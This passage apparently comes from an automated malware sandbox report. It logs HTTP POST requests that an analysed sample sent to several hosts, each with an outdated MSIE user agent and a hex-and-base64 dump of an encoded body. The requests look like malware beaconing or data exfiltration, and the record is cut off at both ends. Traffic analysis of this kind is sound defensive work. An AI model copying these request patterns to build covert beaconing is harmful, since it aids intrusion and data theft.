56 4f 76 59 4d 55 73 2b 4f 77 79 56 45 75 41 63 77 70 33 76 73 48 32 56 53 6b 49 42 53 53 43 62 35 45 78 32 7a 47 55 34 4c 6a 66 2f 4b 6b 63 74 2f 32 44 30 67 6c 54 4d 77 5a 73 49 4c 72 62 53 41 32 72 61 38 73 43 68 56 64 44 67 46 4a 71 76 4f 38 4d 70 63 45 68 6e 74 6e 73 53 72 47 44 68 50 70 64 59 67 4a 74 31 58 7a 45 6d 4a 71 6f 32 68 43 79 36 36 4a 76 33 71 4b 54 65 4d 62 67 47 52 4e 66 4f 36 6a 57 5a 5a 36 69 74 2f 51 4a 42 41 6a 6d 39 4d 4e 6a 6d 30 6d 55 7a 51 32 48 5a 5a 46 4b 72 49 4b 6e 38 4d 6a 37 39 66 51 2b 32 75 49 75 30 31 5a 4b 49 59 49 46 30 61 42 4b 4e 34 4b 2f 4d 36 75 53 43 44 31 35 42 65 6f 79 52 35 54 69 4d 46 39 6a 68 7a 6c 59 34 61 2f 6d 79 71 6c 65 6a 31 57 51 33 61 76 38 50 53 33 4a 52 4a 75 32 46 51 6e 62 77 79 6c 45 68 76 59 53 45 4a 61 49 5a 4e 49 46 58 35 69 76 59 2b 45 3d Data Ascii: 5WNJb14XSgzPM8taqZevqUFcL5OeVKTJcsV01Xza5/2boqJSHj7UKuj/jNrRXnEiTHStyrCwRO8cHFrJdB2eIhrWWL/VpdZ7UT/60Hb/rv+C/0H86DYyAJ9yypqIhum6dwJlG/JZEAXQh6rCltVrpJ/jbHwpgiAmmqWCb4SZiwB+IfenaDA+v/p4xS/hzfNLWKiCmC3mm9BqjjolKo5mxhczl4K0GkhnLk/5QCjCt2+OPb7XLhLJD9a2bDUy2YiOvdj7FHwHyIRbE6EKE+TFbuP6i+6tFA+kJ5434rFciZhW3v/DMtPSow8srXWd/AGS+VOvYMUs+OwyVEuAcwp3vsH2VSkIBSSCb5Ex2zGU4Ljf/Kkct/2D0glTMwZsILrbSA2ra8sChVdDgFJqvO8MpcEhntnsSrGDhPpdYgJt1XzEmJqo2hCy66Jv3qKTeMbgGRNfO6jWZZ6it/QJBAjm9MNjm0mUzQ2HZZFKrIKn8Mj79fQ+2uIu01ZKIYIF0aBKN4K/M6uSCD15BeoyR5TiMF9jhzlY4a/myqlej1WQ3av8PS3JRJu2FQnbwylEhvYSEJaIZNIFX5ivY+E=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 604User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vexcom.comCache-Control: no-cacheData Raw: 38 48 4a 53 76 57 6e 55 42 56 63 6b 71 45 77 4c 4f 4a 4b 64 75 49 49 63 64 37 67 48 32 6d 34 4c 72 63 57 53 54 76 61 79 41 61 36 68 35 65 51 59 78 66 71 51 57 56 2f 5a 33 6d 6a 78 38 59 6d 69 53 4f 65 34 6f 4d 42 57 64 76 59 50 4d 61 78 48 79 56 58 52 2b 32 57 55 72 30 48 4f 46 7a 53 33 6b 68 50 2f 6f 4b 45 71 78 5a 4e 75 64 59 36 38 48 46 57 4a 62 70 77 2f 5a 73 49 2b 7a 44 79 74 75 63 65 37 64 4d 4c 4d 76 74 75 55 57 72 79 70 73 49 72 35 6c 30 70 33 78 2b 56 46 55 77 48 67 71 76 4d 4b 62 6c 4a 76 5a 5a 2b 51 64 78 63 56 37 46 2f 67 31 76 6c 37 76 43 4e 41 57 4a 32 2b 73 35 72 45 79 58 4f 4f 43 63 48 79 58 6f 30 38 6e 34 2f 7a 4e 53 35 79 53 51 6f 2f 49 66 66 52 78 2b 6c 73 78 6f 6c 4d 78 54 55 42 70 58 54 66 43 37 53 77 44 4b 62 30 79 68 58 68 45 6b 45 2b 58 53 63 31 6c 6b 4c 73 73 6d 72 36 31 65 74 56 54 64 39 4a 39 4e 68 4c 76 33 2b 75 5a 63 61 59 30 59 68 35 63 50 37 2b 67 43 5a 74 39 2b 36 33 54 2f 48 54 45 65 56 73 39 33 33 66 53 64 6d 42 55 58 65 76 71 62 69 46 35 55 2b 58 58 47 74 54 47 4c 2b 6e 6b 78 36 73 31 6f 64 30 56 32 73 7a 62 33 62 32 53 66 64 61 4e 39 4f 34 39 41 30 6b 33 4e 44 43 67 6c 6f 52 6b 66 47 42 74 4c 69 61 55 7a 31 58 78 63 38 34 38 37 68 38 67 6c 32 45 2b 71 33 6d 7a 52 51 35 61 62 57 41 5a 71 56 38 64 33 53 46 63 32 74 61 63 65 6b 51 70 4d 69 45 47 34 50 33 78 59 70 49 32 77 38 6f 32 74 6e 53 33 55 52 6e 41 69 68 51 56 32 7a 59 52 49 42 6d 59 75 5a 49 6f 56 49 71 6b 6c 74 69 52 45 5a 63 33 70 45 6b 41 55 70 4d 78 71 70 64 6d 66 53 76 55 43 71 2f 66 57 2b 42 63 4f 70 69 4e 57 48 63 68 42 73 57 45 46 38 55 62 36 51 39 39 56 48 34 52 4b 68 5a 48 6b 72 4c 57 57 4d 6a 48 66 67 64 5a 56 78 4f 55 2f 70 74 49 59 6d 33 4c 70 71 37 38 4a 45 6b 44 46 4d 74 2b 61 57 71 54 30 7a 2f 54 63 59 36 6a 47 72 32 78 6c 35 75 71 6a 42 37 51 41 35 6b 52 73 55 48 39 67 3d 3d Data Ascii: 8HJSvWnUBVckqEwLOJKduIIcd7gH2m4LrcWSTvayAa6h5eQYxfqQWV/Z3mjx8YmiSOe4oMBWdvYPMaxHyVXR+2WUr0HOFzS3khP/oKEqxZNudY68HFWJbpw/ZsI+zDytuce7dMLMvtuUWrypsIr5l0p3x+VFUwHgqvMKblJvZZ+QdxcV7F/g1vl7vCNAWJ2+s5rEyXOOCcHyXo08n4/zNS5ySQo/IffRx+lsxolMxTUBpXTfC7SwDKb0yhXhEkE+XSc1lkLssmr61etVTd9J9NhLv3+uZcaY0Yh5cP7+gCZt9+63T/HTEeVs933fSdmBUXevqbiF5U+XXGtTGL+nkx6s1od0V2szb3b2SfdaN9O49A0k3NDCgloRkfGBtLiaUz1Xxc8487h8gl2E+q3mzRQ5abWAZqV8d3SFc2tacekQpMiEG4P3xYpI2w8o2tnS3URnAihQV2zYRIBmYuZIoVIqkltiREZc3pEkAUpMxqpdmfSvUCq/fW+BcOpiNWHchBsWEF8Ub6Q99VH4RKhZHkrLWWMjHfgdZVxOU/ptIYm3Lpq78JEkDFMt+aWqT0z/TcY6jGr2xl5uqjB7QA5kRsUH9g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.hummer.huCache-Control: no-cacheData Raw: 6e 51 47 56 43 4e 65 30 33 6c 62 42 68 4b 53 67 78 73 7a 4b 43 69 44 4e 57 6f 6b 4e 39 73 75 65 2b 32 58 71 33 48 38 55 42 4d 37 4b 44 66 2b 47 4c 67 39 41 38 5a 47 79 51 65 50 5a 4d 42 33 35 51 59 46 63 42 72 71 49 44 64 77 51 77 48 2f 41 70 4d 6f 7a 6a 7a 43 57 73 45 31 39 69 2b 75 75 4b 39 45 63 6a 62 56 6c 66 76 30 41 4c 46 77 72 76 6c 75 6c 39 31 44 47 6a 2f 6d 73 62 2b 43 49 44 48 2f 77 42 49 6e 68 31 53 64 2f 31 33 34 53 73 78 41 37 66 32 62 76 73 74 46 2f 4b 47 51 61 75 57 63 37 79 2b 7a 39 31 5a 70 2b 78 38 39 59 4e 62 5a 59 4b 37 5a 2f 70 46 65 69 47 37 6b 69 49 6e 36 63 42 41 74 50 62 74 65 57 42 6d 78 30 4c 46 59 59 34 35 48 36 73 4d 43 69 49 56 75 69 5a 70 73 65 68 66 77 36 48 46 37 6f 42 75 5a 30 30 61 5a 61 4b 53 32 75 68 42 2b 69 78 53 6f 48 4e 31 41 54 68 61 4c 58 4e 54 6e 4b 4c 4a 54 54 48 7a 36 4f 57 46 70 47 73 49 4f 47 67 64 43 44 6c 5a 66 72 78 47 2b 72 53 65 69 78 46 73 43 58 76 70 72 4f 62 4d 39 30 68 54 74 4f 59 49 77 2b 4e 69 44 50 4c 76 45 42 53 38 43 37 56 30 39 31 58 71 46 55 6e 35 35 4c 7a 61 50 57 67 74 79 56 72 52 71 75 6c 65 59 58 70 54 30 30 6a 73 49 7a 39 33 6e 35 53 5a 31 70 58 61 55 55 4a 42 44 77 47 6c 58 52 53 33 66 41 5a 37 63 49 46 73 54 31 48 4f 36 35 33 4b 72 6e 2b 4a 2b 57 61 55 58 66 2f 39 4e 67 73 4f 31 66 39 52 59 38 49 61 35 62 62 61 61 6c 66 33 6f 33 66 72 41 43 2b 30 57 34 50 58 47 2b 56 6f 31 62 35 32 68 2f 54 7a 54 55 42 4d 30 4c 4b 66 47 33 69 54 6c 76 77 42 59 50 38 65 48 31 6b 38 65 76 64 59 4a 62 2b 6f 67 55 66 4a 75 7a 64 7a 68 59 53 52 58 49 76 78 6b 2b 35 62 4c 47 39 74 64 6c 2b 36 67 72 47 65 75 6e 46 34 79 43 41 78 33 7a 4e 31 47 2b 45 68 6b 36 6c 76 35 6d 4b 4f 6b 73 33 48 70 55 71 54 58 47 70 77 68 6f 51 48 4b 7a 52 34 45 33 71 5a 7a 58 Data Ascii: nQGVCNe03lbBhKSgxszKCiDNWokN9sue+2Xq3H8UBM7KDf+GLg9A8ZGyQePZMB35QYFcBrqIDdwQwH/ApMozjzCWsE19i+uuK9EcjbVlfv0ALFwrvlul91DGj/msb+CIDH/wBInh1Sd/134SsxA7f2bvstF/KGQauWc7y+z91Zp+x89YNbZYK7Z/pFeiG7kiIn6cBAtPbteWBmx0LFYY45H6sMCiIVuiZpsehfw6HF7oBuZ00aZaKS2uhB+ixSoHN1AThaLXNTnKLJTTHz6OWFpGsIOGgdCDlZfrxG+rSeixFsCXvprObM90hTtOYIw+NiDPLvEBS8C7V091XqFUn55LzaPWgtyVrRquleYXpT00jsIz93n5SZ1pXaUUJBDwGlXRS3fAZ7cIFsT1HO653Krn+J+WaUXf/9NgsO1f9RY8Ia5bbaalf3o3frAC+0W4PXG+Vo1b52h/TzTUBM0LKfG3iTlvwBYP8eH1k8evdYJb+ogUfJuzdzhYSRXIvxk+5bLG9tdl+6grGeunF4yCAx3zN1G+Ehk6lv5mKOks3HpUqTXGpwhoQHKzR4E3qZzX
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.evcpa.comCache-Control: no-cacheData Raw: 72 7a 4b 53 4f 43 32 43 67 67 7a 65 34 78 34 73 4a 48 31 53 6c 65 5a 47 47 50 55 62 46 61 30 55 73 51 32 67 6f 4f 74 4f 2f 5a 42 55 57 61 4a 56 64 6f 76 53 59 76 2f 38 6f 6e 66 77 2f 56 45 6a 43 73 4a 44 4c 6c 4f 6b 79 43 79 55 70 57 34 77 36 36 58 68 6c 4e 6a 57 6a 38 6f 36 34 6d 49 56 6d 4b 68 6f 44 67 35 53 4f 75 76 76 63 76 48 42 54 78 51 4e 38 51 38 53 4c 50 4e 45 7a 50 62 30 31 78 33 36 6a 6c 6b 75 51 57 50 69 4c 78 32 58 7a 75 7a 39 52 75 2f 64 4f 6d 4e 30 4f 36 4d 32 2b 53 37 2b 78 4d 5a 67 4e 7a 7a 47 77 45 59 38 6e 34 50 47 79 4b 76 38 42 70 33 39 56 55 44 6e 62 65 53 2f 2b 71 66 63 71 67 6e 74 67 76 2b 68 50 74 4d 33 4c 2b 4a 63 47 34 44 44 4f 36 4a 6f 4c 75 35 71 72 6a 77 77 48 45 35 6f 41 75 75 35 56 2f 34 47 74 4d 36 76 2b 73 57 4a 2f 37 4b 61 72 4d 4c 31 45 6e 61 63 4c 54 43 2b 47 68 51 43 77 72 30 75 7a 57 73 52 70 78 63 43 4f 45 72 4e 6a 4d 6a 5a 45 39 49 6a 65 42 6a 46 69 41 50 4f 51 69 56 45 77 6c 66 63 32 69 74 35 2f 43 42 4b 6b 54 68 34 2f 72 6b 57 2b 50 6c 68 76 78 37 50 4b 66 78 2f 4e 47 6c 75 46 44 6c 76 64 48 37 54 70 69 6d 61 58 7a 54 77 53 4b 69 71 52 63 34 45 70 75 58 52 57 36 33 4a 64 42 2b 42 4a 54 44 57 34 2f 66 58 70 38 72 79 6e 45 48 37 46 4b 77 4f 42 72 64 70 6a 2b 4b 36 6b 52 6f 68 35 78 4a 73 36 46 77 71 35 6c 6e 65 64 63 73 6b 7a 77 56 71 2f 62 72 53 79 44 69 74 2f 5a 45 62 2b 38 44 37 55 49 46 70 41 6d 62 59 35 68 5a 38 47 43 45 49 4b 67 76 4e 2b 6a 30 47 79 6e 6b 48 51 54 6a 33 74 38 56 77 52 4a 6f 7a 79 6a 5a 70 73 38 62 4d 47 30 2b 75 38 43 57 4b 56 51 4f 57 51 4d 73 33 6e 39 47 6f 45 67 56 45 72 68 38 4d 30 76 35 4d 78 2b 74 67 77 37 41 31 43 57 73 64 6d 54 37 6b 46 39 5a 59 55 61 5a 76 4c 37 30 72 43 43 38 3d Data Ascii: rzKSOC2Cggze4x4sJH1SleZGGPUbFa0UsQ2goOtO/ZBUWaJVdovSYv/8onfw/VEjCsJDLlOkyCyUpW4w66XhlNjWj8o64mIVmKhoDg5SOuvvcvHBTxQN8Q8SLPNEzPb01x36jlkuQWPiLx2Xzuz9Ru/dOmN0O6M2+S7+xMZgNzzGwEY8n4PGyKv8Bp39VUDnbeS/+qfcqgntgv+hPtM3L+JcG4DDO6JoLu5qrjwwHE5oAuu5V/4GtM6v+sWJ/7KarML1EnacLTC+GhQCwr0uzWsRpxcCOErNjMjZE9IjeBjFiAPOQiVEwlfc2it5/CBKkTh4/rkW+Plhvx7PKfx/NGluFDlvdH7TpimaXzTwSKiqRc4EpuXRW63JdB+BJTDW4/fXp8rynEH7FKwOBrdpj+K6kRoh5xJs6Fwq5lnedcskzwVq/brSyDit/ZEb+8D7UIFpAmbY5hZ8GCEIKgvN+j0GynkHQTj3t8VwRJozyjZps8bMG0+u8CWKVQOWQMs3n9GoEgVErh8M0v5Mx+tgw7A1CWsdmT7kF9ZYUaZvL70rCC8=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 79 30 41 47 4e 6e 51 79 5a 56 66 30 4e 56 6e 48 7a 37 73 41 37 4d 63 6c 6f 4d 78 73 74 4c 39 53 36 44 61 6c 61 44 68 72 65 79 32 78 4b 4e 4e 75 66 71 53 38 68 57 6a 46 4a 65 33 4b 63 53 54 6d 45 38 42 54 48 49 76 69 39 78 34 50 72 67 65 34 33 6d 66 32 64 76 65 77 46 65 41 74 72 39 73 55 49 45 36 38 78 7a 55 79 4c 57 76 6c 50 78 37 32 70 42 6f 4b 47 2b 73 48 50 58 4e 54 47 7a 52 68 59 68 66 4d 39 69 6a 73 66 6a 37 50 5a 6f 44 43 6f 4c 52 4d 36 38 41 64 49 39 55 30 54 69 6d 73 79 70 37 4d 58 38 48 45 54 53 49 6a 75 50 7a 4c 6e 39 6a 6f 70 34 52 57 2b 32 79 44 2b 6a 2f 54 66 36 45 70 76 6e 6a 31 48 52 43 61 6e 7a 63 51 69 71 4b 46 49 72 4a 41 68 35 4e 50 46 63 54 39 5a 4b 41 59 4c 50 57 4f 79 71 56 61 35 62 64 78 6f 72 5a 77 69 62 49 31 6d 45 32 30 48 4d 36 65 73 2f 72 7a 76 47 72 78 61 58 45 66 43 79 71 64 73 64 33 65 30 6b 30 67 51 55 2b 47 65 38 61 71 75 30 61 33 32 6e 4f 4e 72 50 4c 38 71 7a 4a 77 4a 46 78 5a 4d 49 2b 34 7a 63 51 4d 6b 41 74 2b 54 49 54 45 47 63 53 67 68 7a 43 75 65 38 70 48 6f 61 35 4d 38 57 53 53 74 6f 4f 6f 71 62 4e 50 34 43 4d 45 46 72 53 79 41 2f 50 34 61 63 69 59 4b 56 46 63 2f 67 69 6f 49 71 57 52 4d 2b 2f 47 46 62 35 6d 7a 4a 75 53 48 77 79 34 49 41 58 4a 46 53 61 79 39 4b 79 63 65 6e 41 33 74 75 58 31 42 4d 51 6b 4e 2b 4d 33 34 47 67 6c 4d 64 43 4d 6f 4f 74 77 79 31 4d 37 68 76 2f 72 57 49 35 6a 4e 46 30 4f 6c 7a 78 50 6d 70 77 59 54 67 6d 68 4d 75 50 30 38 6b 39 43 74 47 66 72 66 67 58 30 4d 79 56 68 5a 64 79 31 45 63 61 2b 6d 59 61 32 2f 38 52 46 35 6b 73 73 74 53 43 70 68 55 77 38 6b 6b 6f 63 6a 76 73 6a 31 7a 41 51 41 48 59 34 61 7a 70 41 37 37 2b 4b 65 74 38 73 53 42 63 55 4d 38 5a 7a 6a 7a 37 52 56 69 51 41 36 6e 45 65 46 6b 77 42 33 47 6a 65 54 38 37 71 45 47 57 43 6d 73 51 6c 4b 6e 4d 63 62 41 3d 3d Data Ascii: y0AGNnQyZVf0NVnHz7sA7McloMxstL9S6DalaDhrey2xKNNufqS8hWjFJe3KcSTmE8BTHIvi9x4Prge43mf2dvewFeAtr9sUIE68xzUyLWvlPx72pBoKG+sHPXNTGzRhYhfM9ijsfj7PZoDCoLRM68AdI9U0Timsyp7MX8HETSIjuPzLn9jop4RW+2yD+j/Tf6Epvnj1HRCanzcQiqKFIrJAh5NPFcT9ZKAYLPWOyqVa5bdxorZwibI1mE20HM6es/rzvGrxaXEfCyqdsd3e0k0gQU+Ge8aqu0a32nONrPL8qzJwJFxZMI+4zcQMkAt+TITEGcSghzCue8pHoa5M8WSStoOoqbNP4CMEFrSyA/P4aciYKVFc/gioIqWRM+/GFb5mzJuSHwy4IAXJFSay9KycenA3tuX1BMQkN+M34GglMdCMoOtwy1M7hv/rWI5jNF0OlzxPmpwYTgmhMuP08k9CtGfrfgX0MyVhZdy1Eca+mYa2/8RF5ksstSCphUw8kkocjvsj1zAQAHY4azpA77+Ket8sSBcUM8Zzjz7RViQA6nEeFkwB3GjeT87qEGWCmsQlKnMcbA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 77 39 33 2b 67 6e 74 66 34 41 7a 2f 70 52 77 39 45 73 37 68 6e 47 52 6e 70 31 6d 42 50 7a 4a 6a 33 38 42 61 34 50 69 78 71 70 72 7a 39 48 43 68 46 30 7a 6f 64 4c 63 6c 6c 6c 33 70 67 63 68 43 55 69 6f 58 66 75 4e 6d 45 48 53 51 64 66 44 6f 4f 49 6e 58 54 4d 51 62 62 44 52 50 77 55 61 6e 42 59 6b 67 43 71 67 76 2f 63 57 78 47 70 4f 72 57 37 4c 47 6a 66 34 62 49 74 6c 49 74 47 57 50 57 79 74 77 66 5a 2b 57 66 36 6b 4f 45 31 5a 38 38 62 32 76 47 77 68 46 49 54 61 67 55 37 41 55 74 6b 43 54 32 6f 54 6c 43 2f 46 63 35 4e 73 37 74 35 52 64 62 38 5a 4b 66 35 44 46 61 66 4c 57 7a 6c 45 73 37 67 7a 38 39 7a 73 46 57 46 30 52 4e 34 39 67 54 65 44 61 74 35 68 38 64 75 6e 4e 75 36 6d 42 35 2b 62 49 79 30 35 69 71 4d 2b 30 69 4d 54 4b 66 76 4c 5a 6f 77 63 71 6b 48 73 2f 37 41 61 6d 4e 67 62 4e 54 62 64 63 4d 50 2f 61 51 71 31 65 33 67 57 5a 6d 7a 44 6f 39 39 55 35 79 58 4c 58 56 59 31 33 63 42 67 70 59 33 51 54 2f 44 62 72 54 70 78 65 61 2f 44 48 45 45 4a 58 32 63 52 36 50 32 6d 52 2b 70 35 54 30 55 72 6b 72 57 55 4d 67 78 37 61 5a 79 65 2f 2b 7a 76 6a 44 50 2f 77 4a 56 4b 2f 62 4f 41 4f 30 6d 6e 59 67 70 69 64 46 43 77 35 4e 73 39 44 59 57 77 49 6a 38 59 41 64 78 4e 7a 5a 6c 65 45 51 4a 2f 2f 73 34 59 4d 7a 4a 6d 50 4d 34 51 35 57 34 4b 2f 48 4d 48 50 59 50 76 57 55 57 4a 67 30 46 6b 51 67 56 4c 53 38 36 71 6b 44 69 2b 4c 6a 5a 79 58 2b 70 79 37 4d 59 6a 58 2f 48 68 56 50 46 4f 32 4e 76 2b 4f 56 48 54 36 63 7a 32 76 48 70 53 4a 51 77 36 71 6b 57 47 67 62 51 57 38 78 38 52 75 4b 34 78 6d 68 4b 4c 44 2f 2f 78 6f 4f 48 43 42 66 34 45 56 4a 64 66 32 47 72 54 6a 31 4d 6e 2f 57 6a 2f 39 58 71 74 61 38 4c 62 46 77 64 50 65 4b 79 70 50 30 33 44 59 6c 61 32 4c 31 39 55 6c 35 39 57 32 4d 55 78 4a 54 66 53 42 33 33 51 30 41 51 3d 3d Data Ascii: w93+gntf4Az/pRw9Es7hnGRnp1mBPzJj38Ba4Pixqprz9HChF0zodLclll3pgchCUioXfuNmEHSQdfDoOInXTMQbbDRPwUanBYkgCqgv/cWxGpOrW7LGjf4bItlItGWPWytwfZ+Wf6kOE1Z88b2vGwhFITagU7AUtkCT2oTlC/Fc5Ns7t5Rdb8ZKf5DFafLWzlEs7gz89zsFWF0RN49gTeDat5h8dunNu6mB5+bIy05iqM+0iMTKfvLZowcqkHs/7AamNgbNTbdcMP/aQq1e3gWZmzDo99U5yXLXVY13cBgpY3QT/DbrTpxea/DHEEJX2cR6P2mR+p5T0UrkrWUMgx7aZye/+zvjDP/wJVK/bOAO0mnYgpidFCw5Ns9DYWwIj8YAdxNzZleEQJ//s4YMzJmPM4Q5W4K/HMHPYPvWUWJg0FkQgVLS86qkDi+LjZyX+py7MYjX/HhVPFO2Nv+OVHT6cz2vHpSJQw6qkWGgbQW8x8RuK4xmhKLD//xoOHCBf4EVJdf2GrTj1Mn/Wj/9Xqta8LbFwdPeKypP03DYla2L19Ul59W2MUxJTfSB33Q0AQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 75 63 4c 66 57 66 58 38 64 6c 66 62 75 6b 51 4f 58 47 6b 77 79 75 34 77 58 53 43 44 71 38 7a 38 2b 51 68 73 77 4d 39 4f 79 78 4e 64 36 65 57 76 62 42 4b 43 6f 62 7a 35 67 35 44 48 44 74 71 51 36 38 4d 6d 4e 43 4d 51 68 58 69 2b 53 35 77 52 69 39 44 48 76 73 76 43 78 34 47 69 79 63 74 64 31 62 77 4c 55 74 6d 79 73 5a 54 47 32 56 35 6b 68 54 49 78 33 51 4f 78 57 45 69 4f 36 77 73 62 48 78 55 52 32 4b 7a 6d 32 66 67 58 31 33 77 55 75 4c 38 32 5a 49 44 46 4d 6a 2f 72 64 4e 70 59 31 38 50 7a 35 32 53 35 49 2b 52 34 31 67 31 41 6c 38 4c 77 6b 72 76 45 64 5a 5a 51 6c 58 73 56 61 68 6e 5a 74 34 36 52 47 70 65 7a 38 35 39 39 36 4c 32 66 52 4d 73 45 67 71 37 39 46 6d 73 57 5a 61 6d 4b 4c 6a 75 75 54 72 4d 59 30 72 61 38 65 57 78 73 61 4b 34 5a 6a 45 52 4c 55 4f 45 43 4a 36 42 43 6f 65 77 53 56 77 47 41 36 5a 37 62 55 37 4c 63 7a 2f 76 62 79 53 4e 64 7a 46 64 6e 50 4a 67 4e 6c 64 6f 62 46 47 53 52 36 4b 32 75 33 65 4c 4a 33 71 6a 72 35 62 63 37 73 45 36 61 42 34 74 75 41 57 55 74 30 2b 7a 54 71 53 35 61 44 39 51 6e 51 41 32 2f 67 66 2b 58 68 70 57 2b 42 66 32 78 4f 69 73 4c 39 2f 63 63 61 6e 57 37 76 43 4b 70 71 32 4e 33 64 53 52 30 46 30 6b 71 42 6b 54 49 6c 6d 31 50 71 58 76 35 74 69 70 74 59 64 58 70 5a 52 54 33 37 70 4f 76 35 6d 2f 72 35 2b 6e 61 39 64 2f 67 34 63 61 47 47 31 53 37 76 6c 75 72 59 4a 49 54 58 36 78 78 4c 35 30 4c 78 31 34 6f 48 4f 37 30 36 51 43 6d 52 34 62 72 73 73 4d 36 32 55 72 33 5a 66 76 45 64 4d 70 45 6b 5a 68 66 4c 75 6f 79 64 33 78 35 48 4c 62 75 37 38 53 66 6a 74 76 6a 69 72 4d 76 59 58 61 52 46 65 4d 30 4d 58 4c 31 44 67 38 58 6b 6c 39 4b 6b 57 74 5a 33 59 2f 6f 58 2b 4c 4a 36 63 63 52 61 44 69 59 64 75 72 79 2f 53 37 58 30 45 31 35 42 33 36 76 71 56 79 74 4c 41 3d 3d Data Ascii: ucLfWfX8dlfbukQOXGkwyu4wXSCDq8z8+QhswM9OyxNd6eWvbBKCobz5g5DHDtqQ68MmNCMQhXi+S5wRi9DHvsvCx4Giyctd1bwLUtmysZTG2V5khTIx3QOxWEiO6wsbHxUR2Kzm2fgX13wUuL82ZIDFMj/rdNpY18Pz52S5I+R41g1Al8LwkrvEdZZQlXsVahnZt46RGpez85996L2fRMsEgq79FmsWZamKLjuuTrMY0ra8eWxsaK4ZjERLUOECJ6BCoewSVwGA6Z7bU7Lcz/vbySNdzFdnPJgNldobFGSR6K2u3eLJ3qjr5bc7sE6aB4tuAWUt0+zTqS5aD9QnQA2/gf+XhpW+Bf2xOisL9/ccanW7vCKpq2N3dSR0F0kqBkTIlm1PqXv5tiptYdXpZRT37pOv5m/r5+na9d/g4caGG1S7vlurYJITX6xxL50Lx14oHO706QCmR4brssM62Ur3ZfvEdMpEkZhfLuoyd3x5HLbu78SfjtvjirMvYXaRFeM0MXL1Dg8Xkl9KkWtZ3Y/oX+LJ6ccRaDiYdury/S7X0E15B36vqVytLA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.iamdirt.comCache-Control: no-cacheData Raw: 68 34 75 44 42 59 65 63 35 41 79 65 30 79 79 68 74 72 43 58 51 31 41 41 42 46 46 39 50 33 67 73 71 32 69 43 2f 44 34 4a 46 4b 6d 38 73 6f 59 6f 48 68 71 46 72 66 59 62 79 52 56 37 51 61 66 6c 51 4e 6e 37 67 51 49 46 42 38 62 2f 7a 38 65 37 71 55 4a 5a 47 68 4a 68 77 37 74 51 6a 31 35 70 51 39 43 78 6e 49 62 47 73 59 41 6e 53 33 48 38 71 46 53 6c 65 4b 78 58 61 4c 71 58 72 49 7a 47 78 62 64 59 56 73 67 36 2f 55 7a 67 63 6d 31 41 6e 49 46 4b 47 5a 49 71 58 59 50 6c 6e 52 57 42 75 2b 68 69 46 32 53 73 6d 4e 54 6a 6c 64 66 57 42 50 33 55 4d 72 63 30 51 2f 75 56 4e 30 47 68 6f 4e 4c 67 2f 53 37 42 49 54 64 58 48 68 77 43 5a 2f 7a 44 76 66 54 6a 4b 62 7a 4a 34 50 49 48 31 62 35 41 57 4d 6d 59 46 5a 53 56 58 79 36 6f 43 51 44 6b 6b 34 4a 59 6a 2f 5a 33 42 35 4f 6c 7a 66 31 4c 39 68 33 4a 74 4c 69 67 38 31 38 49 39 72 74 6a 38 4a 71 45 66 4a 63 58 45 46 4f 6b 64 66 48 55 4f 47 5a 4d 6c 6e 78 57 37 58 51 53 47 30 61 4b 4a 69 43 46 41 31 33 37 47 46 75 55 77 69 2b 53 42 54 33 62 53 7a 75 4b 2b 69 72 64 49 66 56 57 66 69 48 74 6c 6a 6c 62 6a 30 53 41 47 64 54 6b 52 45 77 30 76 77 2f 52 47 61 6a 2b 64 53 2b 41 65 67 56 36 4b 67 41 58 78 69 4b 6f 39 72 42 62 76 32 7a 62 4a 33 67 42 45 55 2b 32 46 51 33 6a 74 4f 42 6c 69 50 34 4c 66 4a 31 4d 44 38 4e 44 4c 68 54 4c 74 4c 4f 50 6a 34 65 6b 47 36 41 32 77 63 58 45 56 67 31 37 4f 61 70 6d 64 43 36 59 6b 55 6a 67 66 63 36 6d 44 57 69 73 44 78 68 76 36 72 4a 38 78 56 4e 31 34 38 7a 66 45 33 6e 69 52 4f 34 65 68 44 53 74 71 69 48 39 4c 30 68 74 4f 2f 68 48 4d 4b 38 6b 6d 59 48 65 52 71 32 52 39 58 64 33 41 69 76 51 51 4e 39 6f 71 4e 56 41 53 65 42 63 50 46 6d 74 5a 53 30 63 62 48 48 6e 4f 76 52 5a 70 36 71 6a 45 4e 5a 5a 37 75 75 73 50 52 66 76 35 58 78 62 56 6d 67 2b 61 42 36 72 Data Ascii: 